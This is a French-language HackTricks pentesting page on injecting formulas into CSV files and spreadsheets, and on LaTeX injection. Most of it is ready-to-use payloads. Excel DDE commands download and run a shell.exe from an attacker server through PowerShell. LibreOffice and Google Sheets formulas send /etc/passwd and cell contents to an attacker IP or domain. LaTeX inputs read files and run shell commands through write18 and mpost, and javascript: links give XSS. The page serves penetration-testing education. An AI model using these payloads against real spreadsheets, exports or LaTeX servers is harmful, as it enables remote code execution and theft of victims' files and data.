hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

12 KiB

Injection de Formule/CSV/Doc/LaTeX/GhostScript

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : Formation HackTricks GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

Injection de Formule

Info

Si votre entrée est réfléchie à l'intérieur des fichiers CSV (ou tout autre fichier qui sera probablement ouvert par Excel), vous pourrez peut-être insérer des formules Excel qui seront exécutées lorsque l'utilisateur ouvre le fichier ou lorsque l'utilisateur clique sur un lien à l'intérieur de la feuille Excel.

{% hint style="danger" %} De nos jours, Excel alertera (plusieurs fois) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'agir de manière malveillante. Par conséquent, un effort spécial en ingénierie sociale doit être appliqué au payload final. {% endhint %}

Liste de mots

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et pour effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).

L'exemple suivant a été tiré de https://payatu.com/csv-injection-basic-to-exploit

Imaginez qu'une violation de sécurité dans un système de gestion des dossiers étudiants soit exploitée par une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge utile malveillante dans l'application, en entrant spécifiquement des formules nuisibles dans des champs destinés aux détails des étudiants. L'attaque se déroule comme suit :

  1. Injection de la Charge Utile Malveillante :
  • L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les tableurs (par exemple, =HYPERLINK("<malicious_link>","Cliquez ici")).
  • Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.
  1. Exportation des Données Compromises :
  • Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.
  • Le fichier CSV, une fois ouvert, contient toujours la charge utile malveillante. Cette charge utile apparaît comme un hyperlien cliquable dans le tableur.
  1. Déclenchement de l'Attaque :
  • Un enseignant clique sur l'hyperlien, croyant qu'il fait partie des détails légitimes de l'étudiant.
  • En cliquant, des données sensibles (potentiellement y compris des détails du tableur ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
  1. Enregistrement des Données :
  • Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.
  • L'attaquant peut alors utiliser ces données à diverses fins malveillantes, compromettant davantage la vie privée et la sécurité des étudiants et de l'institution.

RCE

Vérifiez le post original pour plus de détails.

Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Dynamic Data Exchange (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour en tirer parti, les paramètres suivants doivent être activés :

  • Allez dans Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe, et activez Lancement du serveur Dynamic Data Exchange.

Lorsqu'un tableur avec la charge utile malveillante est ouvert (et si l'utilisateur accepte les avertissements), la charge utile est exécutée. Par exemple, pour lancer l'application calculatrice, la charge utile serait :

=cmd|' /C calc'!xxx

Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier à l'aide de PowerShell :

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Inclusion de Fichiers Locaux (LFI) dans LibreOffice Calc

LibreOffice Calc peut être utilisé pour lire des fichiers locaux et exfiltrer des données. Voici quelques méthodes :

  • Lire la première ligne du fichier local /etc/passwd : ='file:///etc/passwd'#$passwd.A1
  • Exfiltrer les données lues vers un serveur contrôlé par l'attaquant : =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltrer plus d'une ligne : =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Exfiltration DNS (envoi des données lues sous forme de requêtes DNS à un serveur DNS contrôlé par l'attaquant) : =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets pour l'Exfiltration de Données Hors-Bande (OOB)

Google Sheets propose des fonctions qui peuvent être exploitées pour l'exfiltration de données OOB :

  • CONCATENATE : Concatène des chaînes - =CONCATENATE(A2:E2)
  • IMPORTXML : Importe des données à partir de types de données structurées - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED : Importe des flux RSS ou ATOM - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML : Importe des données à partir de tables ou de listes HTML - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE : Importe une plage de cellules d'une autre feuille de calcul - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE : Insère une image dans une cellule - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

Injection LaTeX

En général, les serveurs que l'on trouve sur Internet qui convertissent le code LaTeX en PDF utilisent pdflatex.
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :

  • --no-shell-escape : Désactive la construction \write18{command}, même si elle est activée dans le fichier texmf.cnf.
  • --shell-restricted : Identique à --shell-escape, mais limité à un ensemble 'sûr' de commandes prédéfinies (**Sur Ubuntu 16.04, la liste se trouve dans /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape : Active la construction \write18{command}. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.

Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter RCE, il est très important d'utiliser --shell-restricted.

Lire le fichier

Vous pourriez avoir besoin d'ajuster l'injection avec des wrappers comme [ ou $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Lire un fichier à une seule ligne

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Lire un fichier à plusieurs lignes

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Écrire un fichier

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Exécution de commande

L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Si vous obtenez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractères.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

De @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Injection Ghostscript

Vérifiez https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Références

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}